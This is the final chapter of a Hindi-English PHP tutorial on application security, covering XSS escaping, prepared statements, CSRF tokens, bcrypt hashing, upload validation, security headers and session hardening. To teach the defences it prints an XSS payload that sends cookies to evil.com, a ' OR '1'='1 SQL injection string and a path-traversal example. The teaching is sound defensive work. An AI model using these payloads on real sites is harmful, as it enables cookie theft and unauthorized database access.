PHP Basics · Chapter 22 · Security · FINAL CHAPTER

PHP Security
XSS · CSRF · SQL Injection · Secure Headers

PHP Application Security की पूरी जानकारी — XSS, CSRF, SQL Injection, Password Hashing, File Upload Security, Secure Headers, Session Security। Production-ready security। PHP Series का Final Chapter।

🔴 XSS Prevention 🛡️ CSRF Protection 💉 SQL Injection 🔒 Password Hashing 📋 Secure Headers
XSSCross-Site Scripting
CSRFRequest Forgery
SQLInjection Attack
bcryptPassword hashing

📋 इस Article में क्या-क्या है

  1. Security Mindset
  2. XSS — Cross-Site Scripting
  3. SQL Injection
  4. CSRF Protection
  5. Password Security
  6. File Upload Security
  7. Secure Headers
  8. Session Security
  9. Input Validation Rules
  10. Security Checklist
1
Security Mindset — Never Trust Anyone

Security First — PHP developer का मूल मंत्र: "Never trust user input." हर input malicious माना जाए — validate करो, sanitize करो, escape करो। Defense in depth — multiple layers of security।

Golden Rules: (1) Never trust input (2) Validate everything (3) Escape output (4) Use Prepared Statements (5) Least privilege (6) Defense in depth
AttackTargetPrevention
XSSBrowser / Other usershtmlspecialchars() output escaping
SQL InjectionDatabasePrepared Statements (PDO)
CSRFAuthenticated usersCSRF Token + SameSite cookie
Session HijackingLogin statesession_regenerate_id, HTTPS
File UploadServerMIME check, whitelist, move_uploaded_file
Brute ForceLogin formRate limiting, account lockout
ClickjackingUI framesX-Frame-Options header
Path TraversalFile systembasename(), realpath() validate

2
XSS — Cross-Site Scripting
XSS

XSS (Cross-Site Scripting)

Attacker malicious JavaScript inject करता है जो other users के browser में run होता है। Cookie चोरी, session hijack, defacement। Output escape करने से रोकते हैं।

High Risk htmlspecialchars() Output Escaping

❌ Vulnerable — Direct Output

// User input directly echo करना
$naam = $_GET["naam"];
echo "Hello, $naam";

// Attacker: ?naam=<script>document.location='http://evil.com?c='+document.cookie</script>
// → Cookie चोरी! ❌

✅ Safe — Escaped Output

$naam = $_GET["naam"] ?? "";
echo "Hello, " . htmlspecialchars($naam, ENT_QUOTES, "UTF-8");

// <script> → &lt;script&gt;
// Browser text दिखाएगा, execute नहीं ✅
XSS PREVENTION — COMPLETE APPROACH
<?php
// 1. Output Escaping — हमेशा, हर HTML output पर
function e(string $str): string {
  return htmlspecialchars($str, ENT_QUOTES | ENT_HTML5, "UTF-8");
}

// Use करना — templates में
?>
<h1><?= e($user["naam"]) ?></h1>
<input value="<?= e($old["naam"] ?? "") ?>">
<p><?= e($comment) ?></p>

<?php
// 2. Rich text — strip_tags से allowed tags only
$safeHtml = strip_tags($userHtml, "<b><i><u><p><br><ul><li>");

// 3. JSON में data pass करना
$jsData = json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP);
?>
<script>const data = <?= $jsData ?>;</script>

<?php
// 4. Content Security Policy header
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'");
?>
⚠️ XSS के 3 Types: (1) Stored XSS — DB में save होकर सब users को। (2) Reflected XSS — URL से directly। (3) DOM-based XSS — JavaScript में। तीनों से बचाव: output escape + CSP header।

3
SQL Injection — Database को Protect करो
SQL
💉

SQL Injection

User input directly SQL में जाए तो attacker पूरा database access कर सकता है, delete कर सकता है। Prepared Statements से 100% रोका जा सकता है।

Critical Risk Prepared Statements PDO → Safe

❌ Vulnerable — String Concat

$email = $_POST["email"];
// Attacker: ' OR '1'='1
$sql = "SELECT * FROM users WHERE email='$email'";
// → SELECT * FROM users WHERE email='' OR '1'='1'
// → सब users return! ❌

✅ Safe — Prepared Statement

$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$_POST["email"]]);
// SQL और data अलग — injection impossible ✅
SQL INJECTION — COMPLETE PROTECTION
<?php
// ✅ Always use Prepared Statements
$pdo = new PDO($dsn, $user, $pass, [
  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
  PDO::ATTR_EMULATE_PREPARES => false, // Real prepared statements
]);

// Named placeholders — readable
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email AND active = :active");
$stmt->execute([":email" => $email, ":active" => 1]);

// Dynamic column names — whitelist approach
$allowedCols = ["naam", "email", "created_at"];
$sortCol = in_array($_GET["sort"] ?? "", $allowedCols) ? $_GET["sort"] : "naam";
$stmt = $pdo->query("SELECT * FROM users ORDER BY $sortCol"); // Safe now!

// ❌ Never this:
// $pdo->query("SELECT * FROM users WHERE id = " . $_GET['id']); // DANGEROUS!
?>

4
CSRF — Cross-Site Request Forgery
Attacker एक malicious site पर hidden form बनाता है जो victim की तरफ से legitimate site पर request submit करती है। Double Submit Cookie + SameSite से रोकते हैं।
CSRF — COMPLETE PROTECTION
<?php
session_start();

function csrfToken(): string {
  if (empty($_SESSION["csrf"])) {
    $_SESSION["csrf"] = bin2hex(random_bytes(32));
  }
  return $_SESSION["csrf"];
}

function verifyCsrf(): void {
  $token = $_POST["_csrf"] ?? $_SERVER["HTTP_X_CSRF_TOKEN"] ?? "";
  if (!hash_equals($_SESSION["csrf"] ?? "", $token)) {
    http_response_code(403);
    die("❌ CSRF Token Invalid");
  }
}

// Form में
?>
<form method="POST">
  <input type="hidden" name="_csrf" value="<?= csrfToken() ?>">
</form>

<?php
// Session cookie — SameSite=Strict (CSRF भी रोकता है)
session_start([
  "cookie_samesite" => "Strict",
  "cookie_secure" => true,
  "cookie_httponly" => true,
]);
?>

5
Password Security — Hashing और Verification
🔒
bcrypt

password_hash() / password_verify()

PHP का built-in bcrypt hashing। MD5/SHA1 use मत करो — वो insecure हैं। password_hash() automatic salting और strong algorithm use करता है।

MD5/SHA1 ❌ bcrypt ✅ Auto salt
PASSWORD — HASH, VERIFY, REHASH
<?php
// ❌ NEVER DO THIS
// $hash = md5($password); // Breakable in seconds!
// $hash = sha1($password); // Still insecure!

// ✅ ALWAYS DO THIS
$hash = password_hash($password, PASSWORD_BCRYPT);
// $2y$10$... — unique hash हर बार (automatic salt)

// Cost factor increase करो (default 10, max ~12 for web)
$hash = password_hash($password, PASSWORD_BCRYPT, ["cost" => 12]);

// Verify — plain text vs hash
if (password_verify($inputPassword, $storedHash)) {
  echo "✅ Password correct";
  // Rehash check — algorithm upgrade पर
  if (password_needs_rehash($storedHash, PASSWORD_BCRYPT, ["cost" => 12])) {
    $newHash = password_hash($inputPassword, PASSWORD_BCRYPT, ["cost" => 12]);
    // DB में update करो
  }
} else {
  echo "❌ Wrong password";
}

// Password policy validation
function isStrongPassword(string $pass): bool {
  return strlen($pass) >= 8
    && preg_match("/[A-Z]/", $pass) // uppercase
    && preg_match("/[a-z]/", $pass) // lowercase
    && preg_match("/[0-9]/", $pass) // digit
    && preg_match("/[^a-zA-Z0-9]/", $pass); // special
}
?>
BRUTE FORCE PROTECTION — Rate Limiting
<?php
// Login attempts track करो
function checkLoginAttempts(string $email): void {
  session_start();
  $key = "login_attempts_" . md5($email);
  $attempts = $_SESSION[$key]["count"] ?? 0;
  $lastTime = $_SESSION[$key]["time"] ?? 0;

  // 15 min lockout after 5 failed attempts
  if ($attempts >= 5 && (time() - $lastTime) < 900) {
    $wait = ceil((900 - (time() - $lastTime)) / 60);
    http_response_code(429);
    die("❌ Account locked. Wait $wait minutes.");
  }
}

function recordFailedAttempt(string $email): void {
  $key = "login_attempts_" . md5($email);
  $_SESSION[$key]["count"] = ($_SESSION[$key]["count"] ?? 0) + 1;
  $_SESSION[$key]["time"] = time();
}
?>

6
File Upload Security — Safe Upload Handle करना
SECURE FILE UPLOAD — All Checks
<?php
function secureUpload(array $file, string $uploadDir): string {
  // 1. Upload error check
  if ($file["error"] !== UPLOAD_ERR_OK) {
    throw new RuntimeException("Upload error code: " . $file["error"]);
  }
  // 2. Size limit — 5MB
  if ($file["size"] > 5 * 1024 * 1024) {
    throw new RuntimeException("File 5MB से बड़ी");
  }
  // 3. Extension whitelist (blacklist नहीं!)
  $ext = strtolower(pathinfo($file["name"], PATHINFO_EXTENSION));
  $allowed = ["jpg", "jpeg", "png", "gif", "webp", "pdf"];
  if (!in_array($ext, $allowed, true)) {
    throw new RuntimeException("Invalid file type: $ext");
  }
  // 4. MIME type verify — server-side (user-provided type trust नहीं)
  $finfo = new finfo(FILEINFO_MIME_TYPE);
  $mimeType = $finfo->file($file["tmp_name"]);
  $allowedMime = ["image/jpeg", "image/png", "image/gif", "image/webp", "application/pdf"];
  if (!in_array($mimeType, $allowedMime, true)) {
    throw new RuntimeException("Invalid MIME: $mimeType");
  }
  // 5. Unique filename — original name use मत करो (path traversal)
  $newName = bin2hex(random_bytes(16)) . "." . $ext;
  // 6. Directory ensure
  if (!is_dir($uploadDir)) mkdir($uploadDir, 0755, true);
  // 7. move_uploaded_file — ONLY safe way
  if (!move_uploaded_file($file["tmp_name"], $uploadDir . $newName)) {
    throw new RuntimeException("Move failed");
  }
  return $newName;
}

// Upload folder में .htaccess — PHP execution block
// deny from all (webroot के बाहर रखना best)
?>

7
Secure HTTP Headers — Browser को instruct करो
SECURITY HEADERS — Production Setup
<?php
function setSecurityHeaders(): void {
  // XSS Protection (older browsers)
  header("X-XSS-Protection: 1; mode=block");

  // Clickjacking prevent — iframe में load न हो
  header("X-Frame-Options: DENY");

  // MIME sniffing prevent
  header("X-Content-Type-Options: nosniff");

  // HTTPS enforce — 1 year
  header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");

  // Referrer policy
  header("Referrer-Policy: strict-origin-when-cross-origin");

  // Permissions policy
  header("Permissions-Policy: geolocation=(), microphone=(), camera=()");

  // Content Security Policy — XSS का strongest defense
  header("Content-Security-Policy: " . implode("; ", [
    "default-src 'self'",
    "script-src 'self' 'nonce-{nonce}'", // Nonce-based scripts
    "style-src 'self' https://fonts.googleapis.com",
    "img-src 'self' data: https:",
    "font-src 'self' https://fonts.gstatic.com",
    "connect-src 'self'",
    "frame-ancestors 'none'",
    "base-uri 'self'",
    "form-action 'self'",
  ]));
}

// हर response पर call करो
setSecurityHeaders();
?>

8
Session Security — Recap & Advanced
SECURE SESSION CONFIG — Production
<?php
function secureSessionStart(): void {
  session_start([
    "cookie_httponly" => true, // JS access block
    "cookie_secure" => true, // HTTPS only
    "cookie_samesite" => "Strict", // CSRF protection
    "gc_maxlifetime" => 1800, // 30 min
    "use_strict_mode" => true, // Strict mode
  ]);
  // Session ID को readable path में मत रखो
  ini_set("session.save_path", "/var/lib/php/sessions");
}

// Login के बाद हमेशा regenerate
session_regenerate_id(true); // Session Fixation रोको

// IP + User-Agent fingerprint check
function validateSession(): bool {
  $fingerprint = hash("sha256", $_SERVER["REMOTE_ADDR"] . $_SERVER["HTTP_USER_AGENT"]);
  if (isset($_SESSION["fingerprint"]) && $_SESSION["fingerprint"] !== $fingerprint) {
    session_destroy();
    return false; // Possible hijack!
  }
  $_SESSION["fingerprint"] = $fingerprint;
  return true;
}
?>

9
Input Validation — Additional Rules
PATH TRAVERSAL & OTHER VULNERABILITIES
<?php
// Path Traversal — ../../etc/passwd
function safeFilePath(string $filename, string $baseDir): string {
  // Basename only — directory separators हटाओ
  $safe = basename($filename);
  $fullPath = realpath($baseDir . $safe);
  // realpath से verify — base dir के अंदर है?
  if ($fullPath === false || !str_starts_with($fullPath, realpath($baseDir))) {
    throw new RuntimeException("Invalid file path");
  }
  return $fullPath;
}

// Open Redirect — URL validate करो
function safeRedirect(string $url): void {
  // External redirect allow मत करो
  $parsed = parse_url($url);
  if (isset($parsed["host"]) && $parsed["host"] !== $_SERVER["HTTP_HOST"]) {
    $url = "/"; // External → homepage
  }
  header("Location: $url");
  exit;
}

// Mass Assignment — Only allowed fields
function filterInput(array $data, array $allowed): array {
  return array_intersect_key($data, array_flip($allowed));
}
// User input से सिर्फ allowed fields
$safe = filterInput($_POST, ["naam", "email", "phone"]);
// $_POST["role"] = "admin" — automatically ignored!
?>

10
Production Security Checklist
XSS: सब HTML output पर htmlspecialchars(ENT_QUOTES, "UTF-8") use करो। CSP header set करो।
SQL Injection: हमेशा Prepared Statements। PDO::ATTR_EMULATE_PREPARES = false। Direct string concat कभी नहीं।
CSRF: हर POST form में CSRF token। hash_equals() से verify। SameSite=Strict cookie।
Passwords: password_hash(bcrypt)। MD5/SHA1 कभी नहीं। password_needs_rehash() check।
Session: HttpOnly + Secure + SameSite। Login पर session_regenerate_id(true)। 30 min timeout।
File Upload: MIME type verify (finfo)। Extension whitelist। Unique filename। Webroot के बाहर store।
Headers: X-Frame-Options DENY। X-Content-Type nosniff। HSTS। Content-Security-Policy।
Errors: display_errors=0 production में। log_errors=1। Error details user को कभी नहीं।
HTTPS: पूरी site HTTPS। Mixed content avoid। HSTS header set करो।
Input: filterInput() से mass assignment रोको। Path traversal के लिए basename() + realpath()।
Brute Force: Login rate limiting। Account lockout। CAPTCHA। IP blocking।
Dependencies: Composer packages regularly update करो। Known vulnerabilities check — composer audit।
Security = Layers। एक layer fail हो तो दूसरी रोके। Validate input → Escape output → Use Prepared Statements → Secure Sessions → Proper Headers।

🏆
PHP Basics Series — COMPLETE! 🎉
✅ बधाई हो! PHP Basics Series पूरी हो गई!
Chapter 1 से Chapter 22 तक — PHP की पूरी जानकारी हिंदी में। अब आप एक complete PHP developer हैं।
ChapterTopic
Ch.1-6PHP Introduction, History, Syntax, Variables, Constants, Operators
Ch.7 (7.1-7.5)PHP Strings — 25+ String Functions
Ch.8 (8.1-8.5)PHP Arrays — 43+ Array Functions
Ch.9PHP Loops — for, while, foreach, break, continue
Ch.10PHP Functions — Arrow, Variadic, Anonymous
Ch.11Output Functions — echo, printf, sprintf, var_dump
Ch.12Date & Time — DateTime, strtotime, Timezone
Ch.13File Handling — fopen, CSV, Upload
Ch.14MySQL & PDO — CRUD, Prepared Statements, Transactions
Ch.15Sessions & Cookies — Login, Cart, Remember Me
Ch.16OOP — Class, Object, Constructor, Inheritance
Ch.17Forms & Validation — CSRF, Validator Class
Ch.18Error Handling — try/catch, Custom Exceptions
Ch.19Regular Expressions — preg_match, preg_replace
Ch.20Math Functions — round, rand, number_format
Ch.21JSON & API — cURL, REST API, Authentication
Ch.22Security — XSS, CSRF, SQL Injection, Secure Headers
🚀 अगला कदम: Laravel Framework सीखो — PHP का सबसे popular framework। Authentication, Routing, ORM, Blade Templates — सब ready-made। HindiNotesPoint पर Laravel series भी आएगी!